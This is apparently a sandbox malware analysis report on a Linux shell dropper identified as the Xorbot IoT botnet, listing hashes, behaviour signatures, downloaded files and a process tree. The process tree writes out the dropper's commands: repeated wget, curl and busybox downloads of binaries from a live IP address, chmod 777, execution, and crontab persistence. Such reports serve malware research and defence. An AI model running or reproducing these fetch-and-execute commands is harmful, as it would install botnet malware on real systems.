Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/12/2024, 06:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d46a3232f2d9e39c42e2378e3b9ee5f6

  • SHA1

    1c15292de404d15bfb04ffd8af708533296f3d87

  • SHA256

    273e3c9752c4ac7d7525722250b775dc812f042fb3f98d007663ca7f6e374f95

  • SHA512

    d6c231f3e22e63ecb5b7e3e9e3b124499280bc190ed2fc49b52e4ded2562482f761eb2ca23ca3e7e21cef55306de30948802b94cbd460696c973d3656aa8ef15

  • SSDEEP

    192:xiE2+Yb3TjllJkOq6v3XJZJeyWQpFXGOq6v3lJZJeyzlgd2+Yb3Ty:xipllGQpFllgr

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1472
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1473
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:1474
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:1495
        • /bin/chmod
          chmod 777 zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • File and Directory Permissions Modification
          PID:1497
        • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB
          ./zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Executes dropped EXE
          PID:1498
        • /bin/rm
          rm zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
            PID:1500
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:1501
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:1502
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:1503
          • /bin/chmod
            chmod 777 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • File and Directory Permissions Modification
            PID:1504
          • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            ./ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Executes dropped EXE
            PID:1505
          • /bin/rm
            rm ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
              PID:1507
            • /usr/bin/wget
              wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Writes file to tmp directory
              PID:1508
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Writes file to tmp directory
              PID:1509
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Writes file to tmp directory
              PID:1510
            • /bin/chmod
              chmod 777 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • File and Directory Permissions Modification
              PID:1511
            • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              ./OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Executes dropped EXE
              PID:1512
            • /bin/rm
              rm OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
                PID:1514
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                2⤵
                • Writes file to tmp directory
                PID:1517
              • /bin/chmod
                chmod 777 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                2⤵
                • File and Directory Permissions Modification
                PID:1518
              • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                ./Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                2⤵
                • Executes dropped EXE
                PID:1519
              • /bin/rm
                rm Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                2⤵
                  PID:1521
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                  2⤵
                  • Writes file to tmp directory
                  PID:1522
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                  2⤵
                  • Writes file to tmp directory
                  PID:1523
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                  2⤵
                  • Writes file to tmp directory
                  PID:1524
                • /bin/chmod
                  chmod 777 Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1525
                • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                  ./Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                  2⤵
                  • Executes dropped EXE
                  PID:1526
                • /bin/rm
                  rm Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                  2⤵
                    PID:1528
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                    2⤵
                    • Writes file to tmp directory
                    PID:1529
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                    2⤵
                    • Writes file to tmp directory
                    PID:1530
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                    2⤵
                    • Writes file to tmp directory
                    PID:1531
                  • /bin/chmod
                    chmod 777 jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1532
                  • /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                    ./jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1533
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1535
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1536
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1537
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1538
                        • /bin/rm
                          rm jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                          2⤵
                            PID:1540
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                            2⤵
                              PID:1543

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /var/spool/cron/crontabs/tmp.WP5dG3

                                  Filesize

                                  210B

                                  MD5

                                  8bebc70a4f9e69bc5b25ecfceeb27161

                                  SHA1

                                  5da5f7b79a4818982f619a41d15d02683015b53e

                                  SHA256

                                  49ba64772b2e256851514adcdbd2a6e48d29c6e219020abffae2d299a25dfc53

                                  SHA512

                                  c9c80565c071fd18c873ecaaeb334249bf1a232efc83309a783addb6f4fad2c972899a2cdab225478fe78968cc1bca9d1fb611cdc1710bf41200e6c0ad531b78